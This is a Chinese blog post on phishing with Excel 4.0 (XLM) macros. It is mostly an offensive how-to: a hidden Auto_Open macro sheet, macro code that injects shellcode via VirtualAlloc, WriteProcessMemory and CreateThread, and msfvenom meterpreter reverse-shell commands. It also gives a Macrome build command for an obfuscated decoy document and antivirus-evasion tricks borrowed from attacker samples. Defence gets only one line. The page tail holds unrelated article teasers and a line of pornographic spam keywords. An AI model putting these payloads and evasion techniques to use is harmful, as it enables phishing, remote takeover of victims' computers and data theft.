<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    釣魚小技巧-XLM

    VSole2022-01-21 21:30:11

    前言

    XLM釣魚不是一項新的技術,自從公開以后,網上有很多對其的分析文章,這里僅僅做一個分享和摸索記錄。文章中有問題的地方還請指出。

    一個簡單的例子

    新建一個Excel表格,右鍵選擇表,選擇插入

    插入ms excel4.0宏表

    隨后在單元格輸入以下內容,并將A1格內容改為Auto_Open,隨后隱藏這個表就好。

    隨后保存為啟用宏的文檔。

    當魚兒點開,選擇啟用宏時就會調用計算器,并彈窗

    擴展及原理

    通過Auto_Open可以讓宏表自動運行,通過隱藏宏表可以做到簡單的隱藏效果。

    而在實戰環境中,我們更關注的是能否執行我們的shellcode。

    Outflank研究發現,通過利用這些宏的REGISTERCALL函數,可以調用 Win32 API,并可以將 shellcode 注入到正在運行的進程中。

    REGISTER("Kernel32","VirtualAlloc","JJJJJ",0,880,4096,64)

    REGISTER(module_name, procedure_name, type, alias, argument, macro_type, category)

    • Module_name 是 DLL 的名稱,例如 c:\windows\system32\kernel32.dll 的“Kernel32”。
    • Procedure_name 是 DLL 中導出函數的名稱,例如“VirtualAlloc”。
    • Type 是一個字符串,指定函數的返回值和參數的類型。
    • Alias 可以為函數指定的自定義名稱,稍后可以通過該名稱調用它。
    • Argument 可用于命名函數的參數,它是可選的。
    • Macro_type 應該是 1,代表函數。
    • Category 是類別編號(用于古老的 Excel 功能)。我們可以為我們的目的指定一個 1 到 14 之間的任意類別編號

    如果你想深入了解可以參考excel 4.0函數說明文檔

    接下來我們構建一個可以執行我們自己shellcode的文檔,這里有幾個要注意的點

    一個是shellcode中不能存在空字節‘\x00’

    另外一個就是WPM每次調用最多只能寫入255 個字節

    我們來看一下網上相關的利用代碼

    =R1C2()  //調用指定位置代碼=CALL("Kernel32","VirtualAlloc","JJJJJ",0,1000000,4096,64)  //調用Kernel=SELECT(R1C2:R1000:C2,R1C2)  //選擇shellcode列=SET.VALUE(R1C3, 0)  //設置一個單元格=WHILE(LEN(ACTIVE.CELL())>0)  =CALL("Kernel32","WriteProcessMemory","JJJCJJ",-1, R2C1 + R1C3 * 20,ACTIVE.CELL(), LEN(ACTIVE.CELL()), 0)=SET.VALUE(R1C3, R1C3 + 1)=SELECT(, "R[1]C")=NEXT()   //循環shellcode,調用RtilCopyMemory,循環往內存空間寫入,當當前shell代碼單元格的長度一旦將單元格寫入內存,計數器+1并進入下一循環=CALL("Kernel32","CreateThread","JJJJJJJ",0, 0, R2C1, 0, 0, 0)  //調用CreateThread創建線程=HALT() //必須包含HALT或RETURN函數
    

    這個時候可以使用工具生成我們自己的shellcode,并轉化即可。過程中會遇到EXCEL崩潰的情況,不過代碼執行并不受影響。

    通過msf命令,我們可以快速生成不包含空字節的shellcode,通過SharpShooter工具可以幫助把shellcode轉化成可用的格式。當然網上也有很多腳本可以利用,可以自行搜索下。

    使用工具先生成

    生成后發現打開直接崩潰,不過沒有關系。我們可以手動對代碼進行調整

    對于excel宏調用,我們可以觀察其代碼,發現其中的excel宏片段是寫死的,猜測崩潰原因就在此

    無論怎樣生成,其中代碼都是不變的,所以就可能造成崩潰的問題。有閑工夫可以附加調試看看什么情況,不過這不在本文章的范圍。

    看了一些項目發現,其調用的地址都是動態生成的

    https://github.com/outflanknl/Scripts/blob/master/ShellcodeToJScript.js

    這種不帶混淆的,直接VirtualAlloc -> WriteProcessMemory -> CreateThread現在肯定是被殺的,所以還是需要自動化的生成工具。

    自動化利用

    github上有很多的開源的工具,這里我使用Macrome

    使用msf生成64位和32位不包含空字節的shellcode

    msfvenom -p windows/x64/meterpreter/reverse_tcp lport=192.168.8.109 lport=4444 -b '\x00' -e x64/xor --arch x64 --platform windows -f raw > payload64.bin

    msfvenom -p windows/meterpreter/reverse_tcp lport=192.168.8.109 lport=4444 -b '\x00' --arch x86 --platform windows -f raw > payload32.bin

    使用工具執行,該命令會使用默認模板寫入并混淆。

    Macrome.exe build --decoy-document decoy_document.xls --payload payload32.bin --payload64-bit payload64.bin

    當受害者點擊啟用宏就會上線。上線后如果關閉excel,那么shell就會斷開。

    另外使用64位監聽器去接收會引起excel的崩潰,因為測試環境是64位的,但是EXCEL安裝的是32位的。

    32位監聽器正常上線

    VT查殺率 21/59

    網上工具自動生成還是存在查殺率較高的問題,如果想要做到免殺效果好的話,還是需要自己嘗試去編碼,開發開發工具。

    bypass

    因為XLM的構造特點,如Auto_Open、數量賊多的char函數等等,某些AV還不管三七二十一的給你誤報,所以bypass還是比較困難的。

    現在這個釣魚方法已經工具化了,往往都集成了各種編碼,加密。這里只介紹幾種從攻擊團伙的樣本中學到的一些姿勢。

    1、圖片遮蓋

    將宏代碼隱藏在圖片下,圖片可以是提示啟用宏的引導性內容

    2、交互式消息彈窗

    =IF(ALERT("此文檔與您的服務程序不兼容,是否還要繼續查看此文檔?",1),,CLOSE(TRUE))

    代碼是順序執行的,所以該執行的也不受影響,通過交互式彈窗的方式讓魚兒放松警惕

    3、下載在轉儲

    從網上下載惡意代碼,存儲到某個位置。然后再調用執行

    4、代碼隨意分布

    將代碼拆分保存在各個分散的單元格中

    5、更改字體顏色

    修改字體顏色為白色

    6、修改二進制文件

    通過修改二進制文件的方式去隱藏宏表,這樣無法通過普通方式取消隱藏來獲取宏表

    7、替代函數規避

    通過可以用函數組合,或者通過日期函數獲取數字,通過算數運算傳入某些值

    8、多個宏表

    構建多個宏表,隱藏真正的惡意宏表,拖慢分析

    9、惡意代碼隱藏到注釋

    將shellcode內容加密防止注釋中再調用

    防御手段

    1、禁用宏,對于宏文檔提高警惕性

    參考文章

    https://synzack.github.io/Weaponizing-28-Year-Old-XLM-Macros/

    https://www.lastline.com/labsblog/evolution-of-excel-4-0-macro-weaponization/

    版權申明:內容來源網絡,版權歸原創者所有。除非無法確認,都會標明作者及出處,如有侵權,煩請告知,我們會立即刪除并致歉!

    函數調用單元格
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    前言本系列的前十三篇文章,講解了V8執行Javascript時最基礎的工作流程和原理,包括詞法分析、語法分析、字節碼生成、Builtins方法、ignition執行單元,等等,達到了從零做起,入門學習的目的。接下來的文章將以問題為導向講解V8源碼,例如:以閉包技術、或垃圾回收為專題講解V8中的相關源碼。V8代碼過于龐大,以問題為導向可以使得學習主題更加明確、效果更好。
    我們現在一般做題題目是給出很大的一塊空間供我們寫入棧溢出的ROP鏈的,但是當題目限制輸入的空間比如說幾個字節呢,只能覆蓋到ebp,ret_addr,這個時候就需要棧遷移這樣的騷操作了,接下來我將用很通俗的語言帶你們深入理解棧遷移。
    1 摘要上一篇文章中,Builtin作為先導知識,我們做了宏觀概括和介紹。Builtin是編譯好的內置代碼塊,存儲在snapshot_blob.bin文件中,V8啟動時以反序列化方式加載,運行時可以直接調用。
    嚴格來說,生成式人工智能已經存在了近十年,但最近這項技術的蓬勃發展激發了人們應用它來尋找潛在信息安全挑戰的新興趣。要想找到這些挑戰,就必須進行“大海撈針式”的搜索,而這其中包括每天都會涌入網絡的全新二進制文件、文檔、域名和其他工件,任務的艱巨性可想而知。
    測試結果表明,勒索病毒檢測器檢測準確率達到了 97%,勒索病毒家族分類器分類準確率達到了 94%。隨著網絡犯罪的組織化、規模化,隱匿行為攻擊的復雜化和商業化,目前,隱匿高危勒索病毒呈蔓延之勢。為了保證計算機網絡和計算機應用系統的正常運行,電力企業需要對隱匿高危勒索病毒的攻擊作出應對。對抗隱匿高危勒索病毒攻擊,保護用戶數據的關鍵措施在于預防,即在勒索軟件攻入受害者主機但尚未造成實質性破壞前及時檢測并攔截攻擊。
    CVE-2021-24086漏洞分析
    2022-07-19 16:41:30
    漏洞信息2021年,Microsoft發布了一個安全補丁程序,修復了一個拒絕服務漏洞,編號為CVE-2021-24086,該漏洞影響每個Windows版本的IPv6堆棧,此問題是由于IPv6分片處理不當引起的。
    電力工控系統是關系到電網安全穩定運行的重要領域。目前國網黑龍江電力有限公司已經建立起“安全分區、網絡專用、橫向隔離、縱向認證”的邊界安全防護體系。但在工控系統核心位置保護方面,還需考慮以下兩個問題:電力工控系統具有閉源特性,內部函數邏輯調用非開源;攻擊數據樣本極少,難以構建特征庫引擎。針對以上問題,從系統底層數據提取、運行狀態學習等方面開展研究,設計了涵蓋廠站、主站兩側的安全防御體系架構,為閉源電
    sql注入已經出世很多年了,對于sql注入的概念和原理很多人應該是相當清楚了,SSTI也是注入類的漏洞,其成因其實是可以類比于sql注入的。BladeBlade 是 Laravel 提供的一個既簡單又強大的模板引擎。它不是面向最終用戶的,而是一個Java類庫,是一款程序員可以嵌入他們所開發產品的組件。
    看到作者的出題思路是抽象代碼樹和污點分析,因為之前發了幾篇程序分析理論的文章但是一直沒有實踐,所以拿這道題自己實踐一下。
    這樣一旦運行的服務器宕機,就把備份的服務器運行起來。冷備的方案比較容易實現,但冷備的缺點是主機出現故障時備機不會自動接管,需要主動切換服務。當一臺服務器宕機后,自動切換到另一臺備用機使用。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类